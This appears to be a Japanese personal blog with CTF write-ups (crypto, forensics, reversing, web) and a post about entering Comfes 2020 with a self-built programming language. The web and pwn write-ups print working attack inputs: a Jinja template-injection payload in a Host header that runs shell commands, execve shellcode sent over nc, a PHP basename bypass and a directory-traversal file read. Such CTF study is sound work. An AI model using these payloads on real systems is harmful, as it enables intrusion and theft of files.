    print(pow(ror(m, i, m.bit_length()), e, N))

まず、最終行のrorが何をしているのか調べる。バイト列、数値、長さを渡しているように見えるので試しに適当な値を与えてみる。

>>> ror = lambda x, l, b: (x >> l) | ((x & ((1<<l)-1)) << (b-l))
>>> b = 0b00100111
>>> for i in range(8):
...   print(format(ror(b, i, 8), '08b'))
...
00100111
10010011
11001001
11100100
01110010
00111001
10011100
01001110

この結果より第2引数で指定された数だけ右にローテーションしていることがわかる。

また、いろいろ試していると暗号化する前と後で奇数と偶数の変化が起こらないことに気づいた。 よってローテーションしながら暗号化していることを利用し、一つ一つ奇数か偶数かを集めていくとフラグを入手できる。

from binascii import unhexlify

with open("log.txt", "r") as f:
  lines = f.readlines()

r = ""
for line in lines:
  if int(line) % 2 == 0:
    r += '0'
  else:
    r += '1'

print(unhexlify(format(int(r), 'x')))

forensics

Locked KitKat

Android のイメージファイルが渡されるので、パターンロックを解除してねという問題。 Google先生に聞き以下のツールを見つけた。

https://github.com/sch3m4/androidpatternlock

このツールに/data/system/gesture.keyというファイルを食わせるとクラックしてくれるので、ターミナルにて実行。フラグが入手できた。

others

コピペ問題

Welcome

自明

Survey

自明

pwn

hipwn

忘却。半分寝ている状態で解いていたのでメモが残っていなかった。

reversing

vmlog

Brainf*ck似のプログラムとその実行結果、及びプログラムを実行するためのPythonスクリプトが渡された。

試しに実行してみると文字入力を求められるので、実行結果はフラグを入力した際のものであると考えた。

同じ文字を同じ順番で入力すれば常に同じ出力が得られるので、総当りするスクリプトを実行するとフラグが入手できた。

from pwn import *
context.log_level = 'error'

letters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_+!?{}"


def try(candidate, log):
  p = process(("python", "./vm.py"))
  p.recvline() # M+s
  p.recvline() # [0,
  p.recvline() # [46
  p.sendline(candidate)
  for i in range(len(candidate)):
    line = p.recvline().decode()
    if line != log[i]:
      p.kill()
      return False
  p.kill()
  return True

def read_log():
  with open("log.txt", "r") as f:
    log = [i for i in f.readlines()]
  return log

def main():
  candidate = ""
  log = read_log()
  while True:
    for c in letters:
      if try(candidate + c, log):
        candidate += c
        print(f"[+] Found: {candidate}")
        break

main()

QR Puzzle

鍵と暗号化されたQRコード、及び暗号化するプログラムが渡された。

プログラムの処理を読んでみると鍵ファイルの内容に従って特定のピクセルを入れ替えていた。

そこで、鍵ファイルの上下を逆にしそのまま鍵ファイルとしてプログラムに渡すと無事にQRコードが復号できた。

web

notepad

渡されたソースコードの以下の部分に脆弱性があった。

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

    return flask.render_template_string(html), 404

404ページを返すときにリファラーの値を直接組み込んでいるので、ここでSSTIが行える。

しかしリファラーの値は以下のvalid_url関数によってバリデーションが行われるため、ホスト部分を除き16文字を超えたものについては受け入れられない。

def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404

    return True

この先の部分が想定解と異なっていた。

ホスト部分についてはヘッダと同値であるかのチェックしか行われないので、そこにSSTIを仕込めると考えた。

そこでヘッダを以下のように設定し、リクエストを送ったところフラグが入手できた。

Host: {{"".__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen'].('cat flag').read()}}

Can you guess it?

渡されたソースコードの以下の部分に脆弱性があった。

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

basename関数はlocaleの設定を適切にしていなければマルチバイト文字に対して正常に動作しない。

つまり1行目の正規表現にマッチし、かつマルチバイト文字で終わる以下のようなURLでアクセスすればフラグを入手できた。

http://<CENSORED>/index.php/config.php/ほげ?source

Comfes 2020に参加した

まえがき

2020年3月9日から18日までオンラインで行われたComputer Festival 2020に参加した。なぜか参加者投票でアプリケーション部門3位をいただいた。このような大変な状況の中オンライン開催していただいた主催校の皆様ありがとうございました。

作品について

"Visket" という自作プログラミング言語を作った。言語についての詳細は Visket SpecificationsVisket/README.md にまとめてある。

バックエンドに LLVM 、フロントエンドを Go 言語という謎構成で作製した。計画段階ではバックエンドを Rust で実装しようと思っていたのだが学習にかかる時間が予測できなかったため、良さげな LLVM のラッパがあったGo言語で実装した。若干Go言語の闇に触れつつもなんとか完成までこぎつけたのでこの選択は間違っていなかったと思いたい。

またコンパイラとあわせて、 Visket のプログラムを Web 上で実行できる Visket Playground を作った。これは開催の前々日ぐらいに「もっと簡単にプログラムを動かせたら便利なのでは」と思いついて1日ぐらいで完成させた。フロントエンドを Vue.js で書いて、サーバサイドを Go / Gin で書いた。ソースコードplayground-frontplayground-server においてある。一応Docker上で実行できるようにはしていたがそれでもやはり環境構築のコストが高いため、用意して正解だったと思う。お察しクオリティを記録しておくためとりあえずスクリーンショットを貼っておく。

f:id:arata-nvm:20210904173021p:plain

アピールポイントとして"Easy"、"Safe"、"Fast"というのを書いたがモダンな言語としてはほぼ当たり前の機能ばかりなので、嘘は書いていないが若干詐欺した感がある。とはいえ速度面と言語機能の実装はかなり頑張ったつもりなので許してほしい。

所感

応募要項でパンフレットについて「白黒印刷される」と書かれていたところを「白黒のフォーマットで提出しなければいけない」と解釈してしまったのが敗因の一つだったと思う。が、「それはあなたのデザイン力がないだけでは?」と言われてしまえば返す言葉もございません。

部門ごとに書いていく。

アプリケーション部門

AP部門はいかに作品の良さを伝えられるかと言うのがあった(それはそう)。その点 Web 上にデプロイされているものは簡単にさわれるため、ネイティブアプリケーションと比べ大きなアドバンテージがあるのを強く実感した。私もそれを実感してPlaygroundの作製につながった。すでに来年作りたいものが見えているため良い刺激をもらえたと思う。

あと、目的と手段が入れ替わったような拙作が思いの外投票頂いていて???になった(投票してくださった方ありがとうございます)。「1年」だからこそ許された部分が大きかったのだろうと思う。

ゲーム部門

GM部門は作品数がAP部門の4倍ぐらいで、1年生の作品もそこそこあったように感じた。ネタを仕込んだものは参加者投票で受け、ゲームシステムがしっかりしているものは企業受けが良いという恒例のあれが発生していた。弊部の先輩もそうですがネタのセンスがいいのは何なんでしょうね。:pro:がたくさんいたので私も精進したい。

(企業賞の講評で「唯一」が繰り返されていたことを深読みしすぎてしまって良くない)

メディア・コンテンツ部門

MC部門はクオリティが高い作品が多く戦々恐々していた。個人的には MC-13 の 「Ahoxa」 がかなり面白そうだったため、見てみたいというのがあった(ところであれはアプリケーション部門ではないんですかね)。

あとがき

来年は真面目に作品を出します。

miniCTF 3rd Writeup

ソロでチーム"helix"として参加した。1001 点を獲得し、順位は 9 位だった。

00 Welcome

自明

NITAC{sup3r_dup3r_sc0re_serv3r}

01 signature

signatureファイルの中身を確認する。

$ file signature 
signature: ELF (Tru64), unknown class 13

$ xxd signature | head
00000000: 7f45 4c46 0d0a 1a0a 0000 000d 4948 4452  .ELF........IHDR
00000010: 0000 0423 0000 021d 0806 0000 0007 efb7  ...#............
00000020: 2f00 0000 0473 4249 5408 0808 087c 0864  /....sBIT....|.d
00000030: 8800 0000 1974 4558 7453 6f66 7477 6172  .....tEXtSoftwar
00000040: 6500 676e 6f6d 652d 7363 7265 656e 7368  e.gnome-screensh
00000050: 6f74 ef03 bf3e 0000 1c96 4944 4154 789c  ot...>....IDATx.
00000060: eddd 39b2 eb46 8205 5042 f1b7 2347 a6ca  ..9..F..PB..#G..
00000070: d652 2ab4 2679 b595 72e4 7d4b 0ba8 4db4  .R*.&y..r.}K..M.
00000080: cf36 a427 bd91 c490 7973 3a27 a28c 16fa  .6.'....ys:'....
00000090: f381 891c 2f13 c0f6 cb2f bfdc 6f00 0000  ..../..../..o...

識別子はELFだがIHDRIDATの文字からpngっぽいということで7f45 4c468950 4e47に変えるとフラグが手に入る。

NITAC{dr4win9}

02 shellcode

shellcodeファイルの中身を確認する。

$ file shellcode 
shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped

問題名から察したのでhttp://shell-storm.orgからx86-64用のシェルコードを適当に探して投げてみる。

$ (echo -e "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";cat) | nc <url>
I will execute your code instead of you. Give me machine code bytes: ls
flag.txt
redir.sh
shellcode
cat flag.txt
NITAC{I_g4ve_up_cr0ss_comp1ling}

フラグが手に入る。

NITAC{I_g4ve_up_cr0ss_comp1ling}

03 wrong copy

programファイルの中身を確認する。

$ file program
program: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped

とりあえずstringsをかけてみる。

$ strings program
... (省略)
u+UH
NITAC{c0H
py_15_d1H
ff1cul7}
[]A\A]A^A_
... (省略)

それっぽい文字列が見つかるがHが途中に混ざっているので除去するとフラグが手に入る。

NITAC{c0py_15_d1ff1cul7}

08 base64

encoded.txtファイルの中身を確認する。

$ cat encoded.txt
TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K

問題文に従って、デコードする。

$ cat encoded.txt | base64 -d
NITAC{DO_YOU_KNOW_BASE64?}

フラグが得られる。

NITAC{DO_YOU_KNOW_BASE64?}

12 flower

暗号化スクリプトencrypt.pyと、ファイルflower.pngenc_flower.pngが渡される。

encrypt.pyを確認する。

import cv2
import numpy as np

img = cv2.imread('flower.png')

flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))])
flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag))

print(flag)
print(len(flag))

enc_img = []

cnt = 0

for i in img:
    img_line = []
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        r[-1] = flag[cnt]
        g[-1] = flag[cnt + 1]
        b[-1] = flag[cnt + 2]
        cnt += 3
        img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]])
    enc_img.append(img_line)
cv2.imwrite('enc_flower.png', np.array(enc_img))

面倒くさかったので、脳死で復号スクリプトを書いた。

import cv2

img = cv2.imread('enc_flower.png')

flag = []

for i in img:
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        flag.append(r[-1])
        flag.append(g[-1])
        flag.append(b[-1])

for i in range(0, len(flag), 8):
    print(chr(int(''.join(flag[i:i+8]), 2)), end='')

実行するとフラグが手に入る。

$ python decrypt.py | less
NITAC{LSB_full_search}^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
lines 1-1/1 (END)

NITAC{LSB_full_search}

15 Teacher's Server

フラグがbase32で暗号化されているとのことなので、Network1.pcapngstringsにかけてみる

$ strings Network1.pcapng
... (省略)
Date: Sat, 28 Dec 2019 07:20:42 GMT
Connection: keep-alive
flag: JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2===
Counters provided by dumpcap

いかにもな文字列を見つけたのでデコードする。

$ echo JZEVIQKDPNEVGQKPL5EVGX2NIFKEQRKNIFKESQ2JIFHH2=== | base32 -d
NITAC{ISAO_IS_MATHEMATICIAN}

フラグが手に入る。

17 Admin Portal 1

Webサイトのソースが渡される。サイトには登録のためのリンクがないが、ソースを読むとregister.phpで受け付けていることがわかるので適当に登録する。その後、サイトからログインするとフラグが表示されている。

NITAC{00f_r3g1str4t10n_st1ll_w0rks}

18 Admin Portal 2

ソースを更に読むと、index.phpに以下のようなコードがあることに気づく。

<?php include("templates/" . $_GET['lang']); ?>

このコードを利用するとlangパラメータの変更で好きなファイルを読むことができる。また問題文より、フラグは/flag2.txtに存在することがわかっている。

そこでlangパラメータに適当な値を入力していくと、../../../../flag2.txtでフラグを手に入れることができた。

NITAC{n0w_u_kn0w_h0w_LFI_w0rks}

JWT auth

メモを取り忘れたので省略。

総括

自明問題しか解けていないように感じた。